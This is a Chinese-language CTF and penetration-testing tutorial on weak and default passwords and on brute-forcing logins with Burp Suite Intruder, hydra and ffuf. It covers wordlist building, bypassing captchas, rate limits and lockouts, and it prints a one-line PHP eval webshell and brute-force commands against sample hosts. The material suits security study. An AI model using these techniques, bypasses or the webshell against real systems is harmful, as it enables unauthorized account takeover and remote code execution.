

弱口令与 Burp Suite 爆破实战笔记

适用场景：CTF / 渗透测试

笔记结构：原理认知 → 工具操作 → 实战方法论 → CTF 应用

目录

- 弱口令与默认口令基础
- Burp Suite 爆破原理
- Burp 爆破实战流程
- 常见绕过技巧
- 构建弱口令字典
- CTF 典型考点
- 总结与进阶方向

一、弱口令与默认口令基础认知

1.1 弱口令（Weak Password）

定义：

用户自行设置，但复杂度低、可被猜测或字典命中的密码。

典型特征：

类别	示例
常见字符串	123456 / admin / password
规律型	qwerty / 111111 / aaaaaa
个人信息	生日、手机号、名字拼音
简单组合	admin123 / abc123 / pass@1

安全本质：

密码熵值 (entropy) 过低 → 密码空间小 → 可被穷举 / 字典攻击命中

密码熵值公式（了解）：
$$H = L \times \log_2(N)$$

- L = 密码长度
- N = 字符集大小（纯数字=10，小写字母=26，混合=62）

例：123456 → $H = 6 \times \log_2(10) \approx 19.9 \text{ bit}$ ，远低于安全标准（≥ 60 bit）

1.2 默认口令（Default Credentials）

定义：
系统、设备、应用出厂自带账号密码且管理员未修改。

常见场景：

类型	默认账号	默认密码
Web 后台	admin	admin / admin123
MySQL 数据库	root	root / （空）
phpMyAdmin	root	（空）
路由器	admin	123456 / admin
Tomcat 管理	tomcat	tomcat / s3cret
Redis	无认证（默认无密码）	—
Jenkins	admin	安装时随机生成
Jupyter	无密码 / token	启动时打印在终端

查询资源：

- <https://cirt.net/passwords> — 设备默认口令数据库
- <https://github.com/danielmiessler/SecLists> — 综合字典库

风险点：

- 公开文档/手册可直接查到
- 无需爆破，直接尝试即可登录
- 批量扫描工具（如 **Shodan**）可大规模发现暴露服务

1.3 两者对比

特征	弱口令	默认口令
来源	用户自行设置	系统出厂预设
是否需要爆破	✅ 通常需要	❌ 通常不需要
发现方式	字典 / 暴力破解	查手册 / 公开数据库
危害等级	中	高（范围广）
防护方法	强密码策略	修改出厂密码

二、Burp Suite 爆破原理

2.1 工具说明

Burp Suite 是 Web 渗透测试的核心工具，分为社区版（免费）和专业版（付费）。

核心模块：

模块	功能
Proxy	截获/修改浏览器与服务器的流量
Intruder	自动化爆破，支持多种攻击模式
Repeater	手动重放单个请求，调试用
Decoder	编解码（Base64/URL/Hex等）
Scanner	漏洞扫描（Pro版）

2.2 爆破本质

Burp Intruder 本质是：自动化发送大量 **HTTP** 请求，尝试不同用户名/密码组合，通过响应差异判断是否成功。

```
# 伪代码模型
for username in user_list:
    for password in pass_list:
        response = send_http_request(username, password)
        if is_success(response):
            print(f"[+] 成功: {username} / {password}")
# f"... "格式化字符串 [+] 渗透测试/脚本中的成功标志
```

2.3 爆破成功的三个必要条件

- | | |
|---|--|
| ① 存在登录接口（可抓到 HTTP 请求） | |
| ② 存在可控参数（ user / pass 字段） | |
| ③ 响应可区分（成功 vs 失败有差异） | |

⚠ 如果三个条件有一个不满足（例如响应完全一致），爆破将无效。

三、Burp 爆破实战流程（标准步骤）

Step 1: 配置代理，抓取登录请求

操作：

1. Burp → Proxy → Options → 监听 **127.0.0.1:8080**
2. 浏览器设置代理为 **127.0.0.1:8080**（推荐 FoxyProxy 插件）
3. 在目标网站输入任意账号密码，点击登录
4. 在 Burp Proxy → Intercept 中捕获请求

典型 **POST** 登录请求：

```
POST /login.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abcd1234

username=admin&password=123456&token=abc
```

注意事项：

- 记录请求中是否含有 `token` / `csrf` 字段（需要特殊处理）
- 确认是 *POST* 还是 *GET* 提交
- 注意 *Cookie* 中是否有 *Session*

Step 2: 发送到 Intruder

在请求上右键：

Send to Intruder （快捷键 **Ctrl+I**）

Step 3: 设置攻击点（Positions）

在 Intruder → Positions 标签：

1. 点击 **Clear §** 清除默认标记
2. 手动选中需要爆破的参数值，点击 **Add §**
3. § num lock alt 0167

标记结果示例：

```
username=§admin§&password=§123456§
```

攻击模式选择：

模式	适用场景	请求数
Sniper	单变量（只爆破密码）	N
Battering Ram	同一字典同时填入所有标记位	N
Pitchfork	多变量一一对应（账密对应列表）	$\min(N, M)$
Cluster Bomb	多变量全组合（账密分别枚举）	$N \times M$

🔑 **CTF** 中最常用：**Cluster Bomb**（爆破账号+密码的全组合）

Step 4: 配置 Payload（字典）

进入 **Payload** 标签：

Payload set 1（用户名）：

```
admin
root
administrator
test
guest
user
```

Payload set 2（密码）：

```
123456
admin
password
admin123
123456789
12345678
pass@123
1qaz2wsx
```

Payload 类型：

类型	说明
Simple list	手动输入/导入字典文件
Runtime file	运行时读取文件（大字典）
Brute forcer	指定字符集自动生成组合
Numbers	数字范围枚举

Step 5: 判断响应差异（核心）

进入 **Options** 标签：

方法一：响应长度（**Length**）★ 最常用

- 登录失败：响应长度固定（如始终 `1523`）
- 登录成功：响应长度不同（如 `2048` 或 `302`）

在结果列表点击 **Length** 列排序，找出异常值。

方法二：关键字匹配（**Grep - Match**）

在 Options → Grep - Match 添加关键词：

```
# 成功标志示例
welcome
Dashboard
Logout
登录成功

# 失败标志示例
Invalid
用户名或密码错误
error
```

方法三：HTTP 状态码

状态码	含义
200	返回登录页（失败）
302	跳转到主页（成功）
401/403	认证失败

方法四：响应时间（Timing Attack）

当成功/失败响应长度完全一致时，可通过时间差判断：

- 成功：服务器查询数据库后跳转（时间略长）
- 失败：直接返回错误（时间较短）

Step 6：开始爆破，分析结果

点击右上角 **Start attack**

结果分析流程：

1. 按 **Length** 排序 → 找异常长度
2. 按 **Status** 排序 → 找 302 跳转
3. 点击可疑请求 → 查看 **Response** 确认
4. 找到成功条目 → 记录账密

四、常见绕过技巧（实战重点）

4.1 验证码绕过

场景	绕过方法
验证码仅前端校验	抓包时删除验证码参数，直接提交
验证码后端不刷新	抓包重放同一验证码（固定值）

场景	绕过方法
图形验证码可识别	使用打码平台 / OCR 工具
短信验证码固定4位数字	枚举 0000-9999（仅1万次）

4.2 速率限制（Rate Limit）绕过

- # 常用方法：
- **Intruder** 设置 **Throttle**（每次请求间隔 1000ms）
 - 修改请求头：**X-Forwarded-For**：<随机IP>
 - 多代理轮换 **IP**（搭配代理池）
 - 控制并发线程数（**Community**版默认单线程，**Pro**版可调高）

⚠ 社区版 *Intruder* 有速率限制（较慢），可改用 *ffuf* / *hydra* 替代。

4.3 账户锁定绕过

锁定机制	绕过策略
连续失败 N 次锁定	多账号轮询（每个账号只试几次密码）
IP 封禁	代理 IP 轮换 / VPN
时间窗口锁定	等待解锁周期后继续

4.4 Token / CSRF 处理

部分登录接口每次请求都带有动态 Token：

```
username=admin&password=123&_token=a1b2c3d4
```

处理方法（**Burp Pro**）：

1. 使用 **Macro** 功能自动获取新 Token
2. 在 **Session Handling Rules** 中配置自动替换

处理方法（社区版替代）：

- 编写 Python 脚本手动处理 Token 逻辑
 - 使用 `requests + re` 提取页面中的 Token 后再发包
-

五、构建自己的弱口令字典（重点）

5.1 字典分层策略

第一层（优先）：默认口令 + 超级弱口令

→ 直接命中率最高，用时最少

第二层：通用弱口令 Top 500

→ 覆盖大多数普通用户习惯

第三层：目标定制字典

→ 针对目标特征生成，精准打击

第四层：完整暴力枚举

→ 仅在其他方法失败时使用，耗时极长

5.2 字典来源

（1）通用弱口令（开箱即用）

```
123456 / 12345678 / 123456789
password / passwd / pass
admin / administrator
qwerty / 1qaz2wsx
welcome / hello / letmein
```

推荐现成字典：

字典名	来源	特点
rockyou.txt	SecLists / Kali 内置	1400万真实泄露密码
10-million-password.txt	SecLists	大而全
common-passwords-win.txt	SecLists	Windows 常见密码
top500.txt	自整理	小而精，CTF首选

（2）目标相关（高命中率）

根据目标信息定制：

目标信息	生成密码示例
公司名	company123 / Company@2024
域名	example123 / example@123
系统名	ctfhub / ctfhub123
用户名	zhangsan / zhangsan123

（3）个人信息（社工字典）

收集目标公开信息：

生日：19980101 / 980101 / 0101
手机号后4位：xxxx
QQ号：xxxxxxxxxx
常用邮箱前缀：nickname123

工具： OSINT 框架 / 社交媒体收集

5.3 字典生成规则（核心变形方法）

基础词 + 常见后缀：

{name}	→ 原始
{name}123	→ 加数字
{name}@123	→ 加特殊符号
{name}2024	→ 加年份
{name}!	→ 加叹号
{Name}123	→ 首字母大写
{NAME}123	→ 全大写
{name}1234!	→ 复合组合

示例（以 `admin` 为基础词）：

```
admin
admin123
Admin123
ADMIN123
admin@123
admin2024
admin!
admin123456
admin_123
@admin123
```

5.4 字典生成工具

crunch（生成排列组合）

```
# 生成 6-8 位纯数字字典
crunch 6 8 0123456789 -o digits.txt

# 生成 8 位包含大小写字母+数字
```

```
crunch 8 8
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 -o
alpha.txt

# 使用模式生成 (@ = 小写, , = 大写, % = 数字)
crunch 8 8 -t admin%% -o out.txt
# 结果: admin000 ~ admin999
```

CeWL（爬虫生成字典）

```
# 爬取目标网站，提取关键词生成字典
cewl https://target.com -m 6 -d 2 -w wordlist.txt
# -m 6: 最小单词长度6
# -d 2: 爬取深度2层
```

cupp（个人信息生成字典）

```
# 交互式根据个人信息生成字典
cupp -i
# 输入姓名/生日/宠物名/公司名等 → 自动生成变体
```

hashcat 规则（对已有字典变形）

```
# 使用 best64 规则对基础字典进行变形
hashcat --stdout wordlist.txt -r
/usr/share/hashcat/rules/best64.rule > new_wordlist.txt
```

5.5 字典优化原则

- ✅ 小而精 > 大而全（优先命中率，节省时间）
- ✅ 分阶段爆破（从弱到强，逐步升级）
- ✅ 针对目标定制（信息收集越充分，命中率越高）
- ✅ 去重处理（`sort -u wordlist.txt > clean.txt`）
- ✅ 编码处理（部分系统对特殊字符有限制）

六、CTF 中的典型考点

6.1 弱口令 → 后台登录

流程：

信息收集 → 找到后台地址 → 爆破 admin 账号 → 获取后台权限

常见后台路径：

```
/admin /admin.php /manage /login /backend  
/wp-admin /phpmyadmin /console
```

工具链：

```
# 使用 ffuf 爆破登录  
ffuf -u http://target.com/login -X POST \  
-d "username=admin&password=FUZZ" \  
-w passwords.txt \  
-mr "welcome" # 匹配成功关键字
```

6.2 爆破 → 文件上传 → GetShell

登录后台 → 找文件上传点 → 上传 PHP webShell → 获取命令执行

PHP WebShell 示例（最简）：

```
<?php @eval($_POST['cmd']); ?>
```

连接工具： 蚁剑（AntSword）/ 冰蝎（Behinder）/ 哥斯拉（Godzilla）

6.3 爆破 + 其他漏洞组合

弱口令登录 → SQL 注入 → 读取 /flag

弱口令登录 → LFI（本地文件包含）→ 读 /etc/passwd

弱口令登录 → SSRF → 内网探测

弱口令登录 → 命令注入 → RCE

6.4 特殊服务爆破（非 Web）

服务	工具	示例命令
SSH	hydra / medusa	<code>hydra -l root -P pass.txt ssh://192.168.1.1</code>
FTP	hydra	<code>hydra -l admin -P pass.txt ftp://192.168.1.1</code>
MySQL	hydra / msf	<code>hydra -l root -P pass.txt mysql://192.168.1.1</code>
RDP	hydra / crowbar	<code>hydra -l admin -P pass.txt rdp://192.168.1.1</code>
Redis	redis-cli（默认无密码直连）	<code>redis-cli -h 192.168.1.1 -p 6379</code>

七、总结与进阶方向

核心总结

弱口令与默认口令

↓ 发现

信息收集（接口 / 服务 / 版本）

↓ 准备

构建定制字典（通用 + 目标相关）

↓ 爆破

Burp Intruder / hydra / ffuf

↓ 分析

响应长度 / 状态码 / 关键字匹配

↓ 利用

后台控制 / 文件上传 / 漏洞结合

本质一句话：弱口令攻击 = 字典质量 × 请求效率 × 响应分析能力

进阶学习方向

方向	内容
登录接口识别	隐藏参数发现、JS 逆向找接口
爆破效率优化	线程控制、延迟策略、过滤无效响应
真实防护机制分析	WAF 指纹识别、Fail2Ban 绕过、IP 轮换
哈希破解	hashcat 使用、彩虹表、规则变形
OSINT 社工	目标信息收集、定制字典精准打击